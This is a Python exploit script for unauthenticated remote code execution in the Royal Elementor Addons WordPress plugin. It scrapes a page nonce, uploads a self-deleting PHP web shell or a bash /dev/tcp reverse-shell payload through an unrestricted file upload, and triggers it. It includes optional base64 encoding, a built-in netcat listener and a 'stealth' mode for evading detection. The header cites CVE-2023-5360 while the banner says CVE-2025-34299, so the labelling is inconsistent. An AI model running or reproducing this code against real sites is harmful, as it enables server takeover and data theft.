#!/usr/bin/env python3
# Title Royal Elementor Addons - Unauthenticated Remote Code Execution CVE-2023-5360
# Author @ibrahimsql https://ibrahimsql.com
# Date 10/17/2025
# Vendor https://royal-elementor-addons.com/
# Reference https://nvd.nist.gov/vuln/detail/CVE-2023-5360
# https://github.com/ibrahmsql
import argparse
import base64
import json
import random
import re
import requests
import string
import subprocess
import sys
import threading
import time
from io import BytesIO
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
]
class RoyalElementorExploit:
def __init__(self, target, stealth=False, verbose=False):
self.target = target.rstrip('/')
self.parsed = urlparse(target)
self.root = f"{self.parsed.scheme}://{self.parsed.netloc}"
self.session = requests.Session()
self.stealth = stealth
self.verbose = verbose
self.nonce = None
if stealth:
self.session.headers.update({'User-Agent': random.choice(USER_AGENTS)})
else:
self.session.headers.update({'User-Agent': 'python-requests'})
def log(self, msg, level="info"):
prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
if level == "debug" and not self.verbose:
return
print(f"{prefix.get(level, '[*]')} {msg}")
def verify_target(self):
self.log("Verifying target vulnerability...")
try:
r = self.session.get(self.target, timeout=10, verify=False)
if r.status_code != 200:
self.log(f"Target returned HTTP {r.status_code}", "error")
return False
if "elementor" not in r.text.lower():
self.log("Target doesn't appear to use Elementor", "error")
return False
self.log("Target validated", "success")
return True
except Exception as e:
self.log(f"Connection failed: {e}", "error")
return False
def extract_nonce(self):
self.log("Extracting Elementor nonce...")
if self.stealth:
time.sleep(random.uniform(0.5, 2.0))
try:
r = self.session.get(self.target, timeout=10, verify=False)
match = re.search(r'WprConfig\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r.text)
if not match:
self.log("Failed to extract nonce", "error")
return False
self.nonce = match.group(1)
self.log(f"Nonce extracted: {self.nonce}", "success")
return True
except Exception as e:
self.log(f"Nonce extraction failed: {e}", "error")
return False
def generate_payload(self, mode, lhost=None, lport=None, encode=False):
shell_name = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
if mode == "webshell":
cmd_param = ''.join(random.choices(string.ascii_letters, k=6))
payload = f"<?php if(isset($_GET['{cmd_param}'])) {{system($_GET['{cmd_param}']);}} unlink(__FILE__); ?>"
return payload, shell_name, cmd_param
elif mode == "reverse":
shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
if encode:
encoded = base64.b64encode(shell_cmd.encode()).decode()
payload = f"<?php exec(base64_decode('{encoded}')); unlink(__FILE__); ?>"
else:
payload = f"<?php exec(\"{shell_cmd}\"); unlink(__FILE__); ?>"
return payload, shell_name, None
return None, None, None
def upload_payload(self, payload, shell_name, retries=3):
self.log(f"Uploading payload (retries: {retries})...")
for attempt in range(1, retries + 1):
self.log(f"Attempt {attempt}/{retries}", "debug")
if self.stealth and attempt > 1:
time.sleep(random.uniform(1.0, 3.0))
data = {
'wpr_addons_nonce': self.nonce,
'max_file_size': 100,
'allowed_file_types': ',',
'action': 'wpr_addons_upload_file',
'triggering_event': 'click'
}
files = {
'uploaded_file': (f"{shell_name}.php.", BytesIO(payload.encode()))
}
try:
r = self.session.post(
f"{self.root}/wp-admin/admin-ajax.php",
data=data,
files=files,
timeout=15,
verify=False
)
self.log(f"Upload response: HTTP {r.status_code}", "debug")
response_data = r.json()
shell_url = response_data.get('data', {}).get('url')
if shell_url:
self.log(f"Payload uploaded: {shell_url}", "success")
return shell_url
self.log(f"Upload failed: {response_data}", "debug")
except Exception as e:
self.log(f"Upload attempt failed: {e}", "debug")
self.log("All upload attempts failed", "error")
return None
def trigger_shell(self, shell_url, mode):
self.log("Triggering payload...")
try:
r = self.session.get(shell_url, timeout=5, verify=False)
if mode == "reverse":
self.log("Reverse shell triggered (timeout expected)", "success")
else:
self.log(f"Shell triggered: HTTP {r.status_code}", "success")
return True
except requests.exceptions.Timeout:
if mode == "reverse":
self.log("Reverse shell triggered (timeout is normal)", "success")
return True
except Exception as e:
self.log(f"Trigger failed: {e}", "error")
return False
def exploit(self, mode, lhost=None, lport=None, encode=False, listen=False):
if not self.verify_target():
return False
if not self.extract_nonce():
return False
payload, shell_name, cmd_param = self.generate_payload(mode, lhost, lport, encode)
if not payload:
self.log("Payload generation failed", "error")
return False
if mode == "reverse" and listen:
self.log(f"Starting listener on {lhost}:{lport}...")
listener_thread = threading.Thread(
target=lambda: subprocess.call(['nc', '-lvnp', str(lport)]),
daemon=True
)
listener_thread.start()
time.sleep(2)
shell_url = self.upload_payload(payload, shell_name)
if not shell_url:
return False
if mode == "webshell":
self.log(f"Webshell URL: {shell_url}?{cmd_param}=<command>", "success")
self.log(f"Example: {shell_url}?{cmd_param}=id", "success")
return True
elif mode == "reverse":
self.trigger_shell(shell_url, mode)
if listen:
self.log("Check your listener for connection!", "success")
return True
def main():
parser = argparse.ArgumentParser(
description="Royal Elementor Addons CVE-2025-34299 Exploit (CVSS 9.8)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py http://target.com/page --mode webshell --stealth
python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --listen
python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --encode --stealth
"""
)
parser.add_argument("target", help="Target Elementor page URL")
parser.add_argument("--mode", choices=["webshell", "reverse"], default="webshell",
help="Attack mode (default: webshell)")
parser.add_argument("--lhost", help="Listener host (for reverse shell)")
parser.add_argument("--lport", type=int, help="Listener port (for reverse shell)")
parser.add_argument("--listen", action="store_true", help="Start built-in listener (nc)")
parser.add_argument("--encode", action="store_true", help="Base64 encode payload")
parser.add_argument("--stealth", action="store_true", help="Enable stealth mode (random UA + delays)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
if args.mode == "reverse" and (not args.lhost or not args.lport):
parser.error("--lhost and --lport required for reverse shell mode")
print(f"[*] Royal Elementor Addons Exploit (CVE-2025-34299)")
print(f"[*] CVSS Score: 9.8 CRITICAL | CWE-434: Unrestricted File Upload")
print(f"[*] Target: {args.target}")
print(f"[*] Mode: {args.mode.upper()}")
if args.stealth:
print(f"[*] Stealth: ENABLED")
print()
exploit = RoyalElementorExploit(args.target, stealth=args.stealth, verbose=args.verbose)
success = exploit.exploit(
mode=args.mode,
lhost=args.lhost,
lport=args.lport,
encode=args.encode,
listen=args.listen
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()